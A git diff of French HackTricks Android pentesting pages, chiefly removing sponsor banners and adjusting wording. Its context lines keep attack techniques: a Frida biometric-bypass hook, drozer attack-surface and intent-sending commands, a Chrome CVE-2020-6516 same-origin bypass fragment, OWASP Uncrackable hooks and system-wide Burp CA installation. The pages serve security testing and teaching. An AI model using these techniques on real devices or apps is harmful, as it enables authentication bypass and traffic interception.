d'optimiser le code** afin qu'il se comporte de manière identique mais soit plus facile à comprendre pour un humain. Chaque type d'optimisation est simple et générique, donc peu importe le type spécifique d'obfuscation utilisé. @@ -745,7 +720,7 @@ APKiD vous donne des informations sur **comment un APK a été créé**. Il iden ### [Androl4b](https://github.com/sh4hin/Androl4b) -AndroL4b est une machine virtuelle de sécurité Android basée sur ubuntu-mate qui inclut la collection des derniers frameworks, tutoriels et laboratoires de différents geeks et chercheurs en sécurité pour l'ingénierie inverse et l'analyse de malwares. +AndroL4b est une machine virtuelle de sécurité Android basée sur ubuntu-mate qui inclut la collection des derniers frameworks, tutoriels et laboratoires de différents geeks et chercheurs en sécurité pour l'ingénierie inverse et l'analyse des malwares. ## References @@ -761,19 +736,4 @@ AndroL4b est une machine virtuelle de sécurité Android basée sur ubuntu-mate - [https://www.vegabird.com/yaazhini/](https://www.vegabird.com/yaazhini/) - [https://github.com/abhi-r3v0/Adhrit](https://github.com/abhi-r3v0/Adhrit) -
- -Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de bugs ! - -**Hacking Insights**\ -Engagez-vous avec du contenu qui plonge dans le frisson et les défis du hacking - -**Real-Time Hack News**\ -Restez à jour avec le monde du hacking en rapide évolution grâce à des nouvelles et des insights en temps réel - -**Latest Announcements**\ -Restez informé des nouveaux bug bounties lancés et des mises à jour cruciales de la plateforme - -**Rejoignez-nous sur** [**Discord**](https://discord.com/invite/N3FrSbmwdy) et commencez à collaborer avec les meilleurs hackers aujourd'hui ! - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-app-pentesting/bypass-biometric-authentication-android.md b/src/mobile-pentesting/android-app-pentesting/bypass-biometric-authentication-android.md index bbadf8a9f..df4389c15 100644 --- a/src/mobile-pentesting/android-app-pentesting/bypass-biometric-authentication-android.md +++ b/src/mobile-pentesting/android-app-pentesting/bypass-biometric-authentication-android.md @@ -2,15 +2,10 @@ {{#include ../../banners/hacktricks-training.md}} -
- -Approfondissez votre expertise en **Mobile Security** avec 8kSec Academy. Maîtrisez la sécurité iOS et Android grâce à nos cours en auto-apprentissage et obtenez une certification : - -{% embed url="https://academy.8ksec.io/" %} ## **Méthode 1 – Contournement sans utilisation d'objet Crypto** -L'accent est mis ici sur le rappel _onAuthenticationSucceeded_, qui est crucial dans le processus d'authentification. Des chercheurs de WithSecure ont développé un [script Frida](https://github.com/WithSecureLABS/android-keystore-audit/blob/master/frida-scripts/fingerprint-bypass.js), permettant de contourner le _CryptoObject_ NULL dans _onAuthenticationSucceeded(...)_. Le script force un contournement automatique de l'authentification par empreinte digitale lors de l'invocation de la méthode. Ci-dessous se trouve un extrait simplifié démontrant le contournement dans un contexte d'empreinte digitale Android, avec l'application complète disponible sur [GitHub](https://github.com/St3v3nsS/InsecureBanking). +L'accent est mis ici sur le _onAuthenticationSucceeded_ callback, qui est crucial dans le processus d'authentification. Des chercheurs de WithSecure ont développé un [script Frida](https://github.com/WithSecureLABS/android-keystore-audit/blob/master/frida-scripts/fingerprint-bypass.js), permettant de contourner le NULL _CryptoObject_ dans _onAuthenticationSucceeded(...)_. Le script force un contournement automatique de l'authentification par empreinte digitale lors de l'invocation de la méthode. Ci-dessous se trouve un extrait simplifié démontrant le contournement dans un contexte d'empreinte digitale Android, avec l'application complète disponible sur [GitHub](https://github.com/St3v3nsS/InsecureBanking). ```javascript biometricPrompt = new BiometricPrompt(this, executor, new BiometricPrompt.AuthenticationCallback() { @Override @@ -52,11 +47,11 @@ frida -U -l script-to-bypass-authentication.js --no-pause -f com.generic.in ``` ## **Méthode 4 – Ingénierie Inverse & Modification de Code** -Les outils d'ingénierie inverse comme `APKTool`, `dex2jar` et `JD-GUI` peuvent être utilisés pour décompiler une application Android, lire son code source et comprendre son mécanisme d'authentification. Les étapes incluent généralement : +Les outils d'ingénierie inverse comme `APKTool`, `dex2jar`, et `JD-GUI` peuvent être utilisés pour décompiler une application Android, lire son code source, et comprendre son mécanisme d'authentification. Les étapes incluent généralement : 1. **Décompilation de l'APK** : Convertir le fichier APK en un format plus lisible par l'homme (comme le code Java). 2. **Analyse du Code** : Rechercher l'implémentation de l'authentification par empreinte digitale et identifier les faiblesses potentielles (comme les mécanismes de secours ou les vérifications de validation incorrectes). -3. **Recompilation de l'APK** : Après avoir modifié le code pour contourner l'authentification par empreinte digitale, l'application est recompilée, signée et installée sur l'appareil pour des tests. +3. **Recompilation de l'APK** : Après avoir modifié le code pour contourner l'authentification par empreinte digitale, l'application est recompilée, signée, et installée sur l'appareil pour des tests. ## **Méthode 5 – Utilisation d'Outils d'Authentification Personnalisés** @@ -69,10 +64,5 @@ Il existe des outils et des scripts spécialisés conçus pour tester et contour - [https://securitycafe.ro/2022/09/05/mobile-pentesting-101-bypassing-biometric-authentication/](https://securitycafe.ro/2022/09/05/mobile-pentesting-101-bypassing-biometric-authentication/) -
- -Approfondissez votre expertise en **Sécurité Mobile** avec 8kSec Academy. Maîtrisez la sécurité iOS et Android grâce à nos cours à votre rythme et obtenez une certification : - -{% embed url="https://academy.8ksec.io/" %} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-app-pentesting/content-protocol.md b/src/mobile-pentesting/android-app-pentesting/content-protocol.md index d15b4ee4c..51da3e6de 100644 --- a/src/mobile-pentesting/android-app-pentesting/content-protocol.md +++ b/src/mobile-pentesting/android-app-pentesting/content-protocol.md @@ -1,12 +1,9 @@ {{#include ../../banners/hacktricks-training.md}} -
- -{% embed url="https://websec.nl/" %} **Ceci est un résumé du post [https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/](https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/)** -### Lister les fichiers dans Media Store +### Lister les fichiers dans le Media Store Pour lister les fichiers gérés par le Media Store, la commande ci-dessous peut être utilisée : ```bash @@ -44,7 +41,7 @@ content query --uri content://media/external/file --projection _id,_data | grep ``` ### Chrome CVE-2020-6516 : Contournement de la politique de même origine -La _politique de même origine_ (SOP) est un protocole de sécurité dans les navigateurs qui restreint les pages web d'interagir avec des ressources provenant d'origines différentes, sauf si cela est explicitement autorisé par une politique de partage de ressources entre origines (CORS). Cette politique vise à prévenir les fuites d'informations et le vol de requêtes intersites. Chrome considère `content://` comme un schéma local, impliquant des règles SOP plus strictes, où chaque URL de schéma local est traitée comme une origine distincte. +La _politique de même origine_ (SOP) est un protocole de sécurité dans les navigateurs qui restreint les pages web d'interagir avec des ressources provenant d'origines différentes, sauf si cela est explicitement autorisé par une politique de partage de ressources entre origines (CORS). Cette politique vise à prévenir les fuites d'informations et le vol de requêtes inter-sites. Chrome considère `content://` comme un schéma local, impliquant des règles SOP plus strictes, où chaque URL de schéma local est traitée comme une origine distincte. Cependant, CVE-2020-6516 était une vulnérabilité dans Chrome qui permettait de contourner les règles SOP pour les ressources chargées via une URL `content://`. En effet, le code JavaScript d'une URL `content://` pouvait accéder à d'autres ressources chargées via des URL `content://`, ce qui représentait une préoccupation majeure en matière de sécurité, en particulier sur les appareils Android exécutant des versions antérieures à Android 10, où le stockage scoping n'était pas implémenté. @@ -79,8 +76,4 @@ xhr.send(); ``` -
- -{% embed url="https://websec.nl/" %} - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md b/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md index ca3a37db9..dcf93c66b 100644 --- a/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md +++ b/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md @@ -2,11 +2,7 @@ {{#include ../../../banners/hacktricks-training.md}} - -**Conseil pour les bug bounty** : **inscrivez-vous** sur **Intigriti**, une plateforme de **bug bounty premium créée par des hackers, pour des hackers** ! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) aujourd'hui, et commencez à gagner des récompenses allant jusqu'à **100 000 $** ! - -{% embed url="https://go.intigriti.com/hacktricks" %} ## APKs à tester @@ -27,9 +23,9 @@ Téléchargez et installez l'APK drozer à partir des [dernières versions](http ```bash adb install drozer.apk ``` -### Démarrer le Serveur +### Démarrer le serveur -L'agent fonctionne sur le port 31415, nous devons [port forward](https://en.wikipedia.org/wiki/Port_forwarding) pour établir la communication entre le Drozer Client et l'Agent, voici la commande pour le faire : +L'agent fonctionne sur le port 31415, nous devons [port forward](https://en.wikipedia.org/wiki/Port_forwarding) pour établir la communication entre le client Drozer et l'agent, voici la commande pour le faire : ```bash adb forward tcp:31415 tcp:31415 ``` @@ -44,7 +40,7 @@ drozer console connect ## Commandes Intéressantes | **Commandes** | **Description** | -| ---------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------ | +| ---------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------- | | **Help MODULE** | Affiche l'aide du module sélectionné | | **list** | Affiche une liste de tous les modules drozer qui peuvent être exécutés dans la session actuelle. Cela cache les modules pour lesquels vous n'avez pas les autorisations appropriées. | | **shell** | Démarre un shell Linux interactif sur l'appareil, dans le contexte de l'Agent. | @@ -52,7 +48,7 @@ drozer console connect | **load** | Charge un fichier contenant des commandes drozer et les exécute en séquence. | | **module** | Trouve et installe des modules drozer supplémentaires depuis Internet. | | **unset** | Supprime une variable nommée que drozer passe à tous les shells Linux qu'il génère. | -| **set** | Stocke une valeur dans une variable qui sera passée comme variable d'environnement à tous les shells Linux générés par drozer. | +| **set** | Stocke une valeur dans une variable qui sera passée comme variable d'environnement à tous les shells Linux générés par drozer. | | **shell** | Démarre un shell Linux interactif sur l'appareil, dans le contexte de l'Agent | | **run MODULE** | Exécute un module drozer | | **exploit** | Drozer peut créer des exploits à exécuter dans le dispositif. `drozer exploit list` | @@ -89,7 +85,7 @@ Lire **Manifest** : ```bash run app.package.manifest jakhar.aseem.diva ``` -**Surface d'attaque** du paquet : +**Surface d'attaque** du package : ```bash dz> run app.package.attacksurface com.mwr.example.sieve Attack Surface: @@ -185,7 +181,7 @@ run app.service.send com.mwr.example.sieve com.mwr.example.sieve.AuthService --m **Dans la section d'informations de base sur Android, vous pouvez voir ce qu'est un Récepteur de diffusion**. -Après avoir découvert ces Récepteurs de diffusion, vous devriez **vérifier le code** de ceux-ci. Faites particulièrement attention à la fonction **`onReceive`** car elle gérera les messages reçus. +Après avoir découvert ces Récepteurs de diffusion, vous devriez **vérifier le code** de ceux-ci. Faites particulièrement attention à la fonction **`onReceive`** car elle traitera les messages reçus. #### **Détecter tous** les récepteurs de diffusion ```bash @@ -233,7 +229,7 @@ run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --compo ### Est débogable Un APK de production ne devrait jamais être débogable.\ -Cela signifie que vous pouvez **attacher un débogueur java** à l'application en cours d'exécution, l'inspecter en temps réel, définir des points d'arrêt, avancer étape par étape, rassembler des valeurs de variables et même les modifier. [L'InfoSec Institute a un excellent article](../exploiting-a-debuggeable-applciation.md) sur l'approfondissement lorsque votre application est débogable et l'injection de code à l'exécution. +Cela signifie que vous pouvez **attacher un débogueur java** à l'application en cours d'exécution, l'inspecter en temps réel, définir des points d'arrêt, avancer étape par étape, rassembler des valeurs de variables et même les modifier. [InfoSec institute a un excellent article](../exploiting-a-debuggeable-applciation.md) sur l'approfondissement lorsque votre application est débogable et l'injection de code à l'exécution. Lorsqu'une application est débogable, elle apparaîtra dans le Manifest : ```xml @@ -254,10 +250,6 @@ run app.package.debuggable - [https://blog.dixitaditya.com/android-pentesting-cheatsheet/](https://blog.dixitaditya.com/android-pentesting-cheatsheet/) - -**Conseil sur les bug bounty** : **inscrivez-vous** sur **Intigriti**, une **plateforme de bug bounty premium créée par des hackers, pour des hackers** ! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) aujourd'hui, et commencez à gagner des récompenses allant jusqu'à **100 000 $** ! - -{% embed url="https://go.intigriti.com/hacktricks" %} {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-app-pentesting/frida-tutorial/README.md b/src/mobile-pentesting/android-app-pentesting/frida-tutorial/README.md index 18c4476cb..a0b27f06f 100644 --- a/src/mobile-pentesting/android-app-pentesting/frida-tutorial/README.md +++ b/src/mobile-pentesting/android-app-pentesting/frida-tutorial/README.md @@ -2,12 +2,6 @@ {{#include ../../../banners/hacktricks-training.md}} -
- -**Conseil de bug bounty** : **inscrivez-vous** sur **Intigriti**, une plateforme de **bug bounty premium créée par des hackers, pour des hackers** ! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) aujourd'hui, et commencez à gagner des récompenses allant jusqu'à **100 000 $** ! - -{% embed url="https://go.intigriti.com/hacktricks" %} - ## Installation Installez **frida tools** : @@ -96,7 +90,7 @@ sysexit.exit.overload("int").implementation = function (var_0) { send("java.lang.System.exit(I)V // We avoid exiting the application :)") } ``` -Accrocher MainActivity `.onStart()` & `.onCreate()` +Hook MainActivity `.onStart()` & `.onCreate()` ```javascript var mainactivity = Java.use("sg.vantagepoint.uncrackable1.MainActivity") mainactivity.onStart.overload().implementation = function () { @@ -122,7 +116,7 @@ var ret = this.onCreate.overload("android.os.Bundle").call(this, var_0) ``` ### Accrocher des fonctions avec des paramètres et récupérer la valeur -Accrocher une fonction de déchiffrement. Imprimer l'entrée, appeler la fonction originale pour déchiffrer l'entrée et enfin, imprimer les données en clair : +Accrocher une fonction de décryptage. Imprimer l'entrée, appeler la fonction originale pour déchiffrer l'entrée et enfin, imprimer les données en clair : ```javascript function getString(data) { var ret = "" @@ -182,10 +176,5 @@ onComplete: function () {}, - [https://github.com/DERE-ad2001/Frida-Labs](https://github.com/DERE-ad2001/Frida-Labs) - [Partie 1 de la série de blogs sur l'utilisation avancée de Frida : Bibliothèques de chiffrement IOS](https://8ksec.io/advanced-frida-usage-part-1-ios-encryption-libraries-8ksec-blogs/) -
- -**Conseil pour les bug bounty** : **inscrivez-vous** sur **Intigriti**, une **plateforme de bug bounty premium créée par des hackers, pour des hackers** ! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) aujourd'hui, et commencez à gagner des récompenses allant jusqu'à **100 000 $** ! - -{% embed url="https://go.intigriti.com/hacktricks" %} {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-1.md b/src/mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-1.md index 5d150f737..6a66cc2e6 100644 --- a/src/mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-1.md +++ b/src/mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-1.md @@ -2,21 +2,15 @@ {{#include ../../../banners/hacktricks-training.md}} -
- -**Astuce bug bounty** : **inscrivez-vous** sur **Intigriti**, une plateforme de **bug bounty premium créée par des hackers, pour des hackers** ! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) aujourd'hui, et commencez à gagner des récompenses allant jusqu'à **100 000 $** ! - -{% embed url="https://go.intigriti.com/hacktricks" %} - -**Ceci est un résumé du post** : [https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1](https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1)\ -**APK** : [https://github.com/t0thkr1s/frida-demo/releases](https://github.com/t0thkr1s/frida-demo/releases)\ -**Code source** : [https://github.com/t0thkr1s/frida-demo](https://github.com/t0thkr1s/frida-demo) +**Ceci est un résumé du post**: [https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1](https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1)\ +**APK**: [https://github.com/t0thkr1s/frida-demo/releases](https://github.com/t0thkr1s/frida-demo/releases)\ +**Code Source**: [https://github.com/t0thkr1s/frida-demo](https://github.com/t0thkr1s/frida-demo) ## Python Frida vous permet d'**insérer du code JavaScript** à l'intérieur des fonctions d'une application en cours d'exécution. Mais vous pouvez utiliser **python** pour **appeler** les hooks et même pour **interagir** avec les **hooks**. -Ceci est un script python facile que vous pouvez utiliser avec tous les exemples proposés dans ce tutoriel : +Ceci est un script python facile que vous pouvez utiliser avec tous les exemples proposés dans ce tutoriel: ```python #hooking.py import frida, sys @@ -82,7 +76,7 @@ onComplete: function () {}, ``` Dans ce cas, cela ne fonctionne pas car il n'y a pas d'instance et la fonction est statique. -### Fonction Statique +### Fonction statique Si la fonction est statique, vous pouvez simplement l'appeler : ```javascript @@ -122,12 +116,4 @@ return encrypted_ret Dans ce tutoriel, vous avez accroché des méthodes en utilisant le nom de la méthode et _.implementation_. Mais s'il y avait **plus d'une méthode** avec le même nom, vous devrez **spécifier la méthode** que vous souhaitez accrocher **en indiquant le type des arguments**. -Vous pouvez le voir dans [le prochain tutoriel](frida-tutorial-2.md). - -
- -**Astuce bug bounty** : **inscrivez-vous** sur **Intigriti**, une plateforme premium de **bug bounty créée par des hackers, pour des hackers** ! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) aujourd'hui, et commencez à gagner des récompenses allant jusqu'à **100 000 $** ! - -{% embed url="https://go.intigriti.com/hacktricks" %} - -{{#include ../../../banners/hacktricks-training.md}} +Vous pouvez le voir dans [le tutoriel suivant](frida-tutorial-2.md). diff --git a/src/mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-2.md b/src/mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-2.md index 60cc0c969..cfd3c5206 100644 --- a/src/mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-2.md +++ b/src/mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-2.md @@ -2,20 +2,14 @@ {{#include ../../../banners/hacktricks-training.md}} -
- -**Astuce bug bounty** : **inscrivez-vous** sur **Intigriti**, une plateforme de **bug bounty premium créée par des hackers, pour des hackers** ! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) aujourd'hui, et commencez à gagner des récompenses allant jusqu'à **100 000 $** ! - -{% embed url="https://go.intigriti.com/hacktricks" %} - -**Ceci est un résumé du post** : [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (Parties 2, 3 & 4)\ -**APKs et code source** : [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples) +**Ceci est un résumé du post**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (Parties 2, 3 & 4)\ +**APKs et code source**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples) La partie 1 est très facile. **Certaines parties du code original ne fonctionnent pas et ont été modifiées ici.** -## Partie 2 +## Part 2 Ici, vous pouvez voir un exemple de comment **hooker 2 fonctions avec le même nom** mais des paramètres différents.\ De plus, vous allez apprendre comment **appeler une fonction avec vos propres paramètres**.\ @@ -210,10 +204,5 @@ return this.setText(string_to_recv) ``` Il y a une partie 5 que je ne vais pas expliquer car il n'y a rien de nouveau. Mais si vous voulez la lire, elle est ici : [https://11x256.github.io/Frida-hooking-android-part-5/](https://11x256.github.io/Frida-hooking-android-part-5/) -
- -**Astuce bug bounty** : **inscrivez-vous** sur **Intigriti**, une plateforme de **bug bounty premium créée par des hackers, pour des hackers** ! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) aujourd'hui, et commencez à gagner des récompenses allant jusqu'à **100 000 $** ! - -{% embed url="https://go.intigriti.com/hacktricks" %} {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.md b/src/mobile-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.md index 46993c4c5..48718390b 100644 --- a/src/mobile-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.md +++ b/src/mobile-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.md @@ -2,11 +2,7 @@ {{#include ../../../banners/hacktricks-training.md}} - -**Astuce de bug bounty** : **inscrivez-vous** sur **Intigriti**, une plateforme de **bug bounty premium créée par des hackers, pour des hackers** ! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) aujourd'hui, et commencez à gagner des récompenses allant jusqu'à **100 000 $** ! - -{% embed url="https://go.intigriti.com/hacktricks" %} ## **Introduction** @@ -14,11 +10,11 @@ [**Objection**](https://github.com/sensepost/objection) est un kit d'outils d'exploration mobile en temps réel, alimenté par [Frida](https://www.frida.re). Il a été conçu pour aider à évaluer les applications mobiles et leur posture de sécurité sans avoir besoin d'un appareil mobile jailbreaké ou rooté. -**Remarque :** Ce n'est pas une forme de contournement de jailbreak / root. En utilisant `objection`, vous êtes toujours limité par toutes les restrictions imposées par le sandbox applicable auquel vous faites face. +**Remarque :** Ce n'est pas une forme de contournement de jailbreak / root. En utilisant `objection`, vous êtes toujours limité par toutes les restrictions imposées par le sandbox applicable auquel vous êtes confronté. ### Résumé -Le **but** de **objection** est de permettre à l'utilisateur d'appeler les **principales actions offertes par Frida**. **Sinon**, l'utilisateur devra créer un **script unique pour chaque application** qu'il souhaite tester. +Le **but** de **objection** est de permettre à l'utilisateur d'appeler les **actions principales offertes par Frida**. **Sinon**, l'utilisateur devra créer un **script unique pour chaque application** qu'il souhaite tester. ## Tutoriel @@ -125,7 +121,7 @@ android hooking search methods asvid.github.io.fridaapp MainActivity ``` ![](<../../../images/image (929).png>) -#### Liste des méthodes déclarées d'une classe avec leurs paramètres +#### Lister les méthodes déclarées d'une classe avec leurs paramètres Voyons quels paramètres les méthodes de la classe nécessitent : ```bash @@ -139,13 +135,13 @@ Vous pouvez également lister toutes les classes qui ont été chargées dans l' ```bash android hooking list classes #List all loaded classes, As the target application gets usedmore, this command will return more classes. ``` -C'est très utile si vous voulez **intercepter la méthode d'une classe et que vous ne connaissez que le nom de la classe**. Vous pourriez utiliser cette fonction pour **chercher quel module possède la classe** et ensuite intercepter sa méthode. +C'est très utile si vous voulez **accrocher la méthode d'une classe et que vous ne connaissez que le nom de la classe**. Vous pourriez utiliser cette fonction pour **chercher quel module possède la classe** et ensuite accrocher sa méthode. -### L'interception est facile +### Accrocher est facile -#### Intercepter (surveiller) une méthode +#### Accrocher (surveiller) une méthode -À partir du [code source](https://github.com/asvid/FridaApp/blob/master/app/src/main/java/asvid/github/io/fridaapp/MainActivity.kt) de l'application, nous savons que la **fonction** _**sum()**_ **de** _**MainActivity**_ est exécutée **toutes les secondes**. Essayons de **dump toutes les informations possibles** chaque fois que la fonction est appelée (arguments, valeur de retour et backtrace) : +À partir du [code source](https://github.com/asvid/FridaApp/blob/master/app/src/main/java/asvid/github/io/fridaapp/MainActivity.kt) de l'application, nous savons que la **fonction** _**sum()**_ **de** _**MainActivity**_ est exécutée **toutes les secondes**. Essayons de **déverser toutes les informations possibles** chaque fois que la fonction est appelée (arguments, valeur de retour et backtrace) : ```bash android hooking watch class_method asvid.github.io.fridaapp.MainActivity.sum --dump-args --dump-backtrace --dump-return ``` @@ -227,12 +223,4 @@ exit - Les méthodes de hooking font parfois planter l'application (c'est aussi à cause de Frida). - Vous ne pouvez pas utiliser les instances des classes pour appeler les fonctions de l'instance. Et vous ne pouvez pas créer de nouvelles instances de classes et les utiliser pour appeler des fonctions. -- Il n'y a pas de raccourci (comme celui pour sslpinnin) pour hooker toutes les méthodes cryptographiques courantes utilisées par l'application afin de voir le texte chiffré, le texte en clair, les clés, les IV et les algorithmes utilisés. - - - -**Astuce bug bounty** : **inscrivez-vous** sur **Intigriti**, une plateforme de **bug bounty premium créée par des hackers, pour des hackers** ! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) aujourd'hui, et commencez à gagner des récompenses allant jusqu'à **100 000 $** ! - -{% embed url="https://go.intigriti.com/hacktricks" %} - -{{#include ../../../banners/hacktricks-training.md}} +- Il n'y a pas de raccourci (comme celui pour sslpinnin) pour hooker toutes les méthodes de cryptographie courantes utilisées par l'application afin de voir le texte chiffré, le texte en clair, les clés, les IV et les algorithmes utilisés. diff --git a/src/mobile-pentesting/android-app-pentesting/frida-tutorial/owaspuncrackable-1.md b/src/mobile-pentesting/android-app-pentesting/frida-tutorial/owaspuncrackable-1.md index 0d9d9a92a..419a2a81a 100644 --- a/src/mobile-pentesting/android-app-pentesting/frida-tutorial/owaspuncrackable-1.md +++ b/src/mobile-pentesting/android-app-pentesting/frida-tutorial/owaspuncrackable-1.md @@ -2,11 +2,6 @@ {{#include ../../../banners/hacktricks-training.md}} -
- -**Astuce bug bounty** : **inscrivez-vous** sur **Intigriti**, une plateforme de **bug bounty premium créée par des hackers, pour des hackers** ! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) aujourd'hui, et commencez à gagner des récompenses allant jusqu'à **100 000 $** ! - -{% embed url="https://go.intigriti.com/hacktricks" %} --- @@ -17,7 +12,7 @@ Basé sur [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1) -**Accrochez la fonction \_exit()**\_ et **la fonction de décryptage** afin qu'elle imprime le drapeau dans la console frida lorsque vous appuyez sur vérifier : +**Hookez la fonction \_exit()**\_ et **la fonction de décryptage** afin qu'elle imprime le flag dans la console frida lorsque vous appuyez sur vérifier : ```javascript Java.perform(function () { send("Starting hooks OWASP uncrackable1...") @@ -120,10 +115,4 @@ return false send("Hooks installed.") }) ``` -
- -**Conseil sur les bug bounty** : **inscrivez-vous** sur **Intigriti**, une plateforme de **bug bounty premium créée par des hackers, pour des hackers** ! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) aujourd'hui, et commencez à gagner des récompenses allant jusqu'à **100 000 $** ! - -{% embed url="https://go.intigriti.com/hacktricks" %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-app-pentesting/install-burp-certificate.md b/src/mobile-pentesting/android-app-pentesting/install-burp-certificate.md index 14dcd8d95..c5a122f52 100644 --- a/src/mobile-pentesting/android-app-pentesting/install-burp-certificate.md +++ b/src/mobile-pentesting/android-app-pentesting/install-burp-certificate.md @@ -2,17 +2,14 @@ {{#include ../../banners/hacktricks-training.md}} -
- -{% embed url="https://websec.nl/" %} ## Sur une machine virtuelle -Tout d'abord, vous devez télécharger le certificat Der de Burp. Vous pouvez le faire dans _**Proxy**_ --> _**Options**_ --> _**Importer / Exporter le certificat CA**_ +Tout d'abord, vous devez télécharger le certificat Der depuis Burp. Vous pouvez le faire dans _**Proxy**_ --> _**Options**_ --> _**Importer / Exporter le certificat CA**_ ![](<../../images/image (367).png>) -**Exportez le certificat au format Der** et **transformons-le** en une forme que **Android** pourra **comprendre.** Notez que **pour configurer le certificat burp sur la machine Android dans AVD** vous devez **exécuter** cette machine **avec** l'option **`-writable-system`**.\ +**Exportez le certificat au format Der** et **transformons-le** en une forme que **Android** pourra **comprendre.** Notez que **pour configurer le certificat burp sur la machine Android dans AVD**, vous devez **exécuter** cette machine **avec** l'option **`-writable-system`**.\ Par exemple, vous pouvez l'exécuter comme : ```bash C:\Users\\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -http-proxy 192.168.1.12:8080 -writable-system @@ -38,7 +35,29 @@ Expliqué dans [**cette vidéo**](https://www.youtube.com/watch?v=qQicUW0svB8), 1. **Installer un certificat CA** : Il suffit de **faire glisser et déposer** le certificat Burp DER **en changeant l'extension** en `.crt` sur le mobile afin qu'il soit stocké dans le dossier Téléchargements et aller à `Installer un certificat` -> `Certificat CA` -
+ +- Vérifiez que le certificat a été correctement stocké en allant à `Informations d'identification de confiance` -> `UTILISATEUR` + +
+ +2. **Le rendre de confiance pour le système** : Téléchargez le module Magisc [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (un fichier .zip), **faites-le glisser et déposez-le** dans le téléphone, allez dans l'application **Magics** sur le téléphone dans la section **`Modules`**, cliquez sur **`Installer depuis le stockage`**, sélectionnez le module `.zip` et une fois installé, **redémarrez** le téléphone : + +
+ +- Après le redémarrage, allez à `Informations d'identification de confiance` -> `SYSTÈME` et vérifiez que le certificat Postswigger est là + +
+ +## Post Android 14 + +Dans la dernière version d'Android 14, un changement significatif a été observé dans la gestion des certificats d'autorité de certification (CA) de confiance pour le système. Auparavant, ces certificats étaient logés dans **`/system/etc/security/cacerts/`**, accessibles et modifiables par les utilisateurs ayant des privilèges root, ce qui permettait une application immédiate à travers le système. Cependant, avec Android 14, l'emplacement de stockage a été déplacé vers **`/apex/com.android.conscrypt/cacerts`**, un répertoire dans le chemin **`/apex`**, qui est immuable par nature. + +Les tentatives de remonter le **chemin APEX cacerts** en écriture échouent, car le système n'autorise pas de telles opérations. Même les tentatives de démonter ou de superposer le répertoire avec un système de fichiers temporaire (tmpfs) ne contournent pas l'immutabilité ; les applications continuent d'accéder aux données de certificat originales, quelles que soient les modifications au niveau du système de fichiers. Cette résilience est due au montage **`/apex`** étant configuré avec une propagation PRIVÉE, garantissant que toute modification dans le répertoire **`/apex`** n'affecte pas d'autres processus. + +L'initialisation d'Android implique le processus `init`, qui, lors du démarrage du système d'exploitation, initie également le processus Zygote. Ce processus est responsable du lancement des processus d'application avec un nouvel espace de montage qui inclut un montage **`/apex`** privé, isolant ainsi les modifications apportées à ce répertoire des autres processus. + +Néanmoins, une solution de contournement existe pour ceux qui ont besoin de modifier les certificats CA de confiance pour le système dans le répertoire **`/apex`**. Cela implique de remonter manuellement **`/apex`** pour supprimer la propagation PRIVÉE, le rendant ainsi écrivable. Le processus comprend la copie du contenu 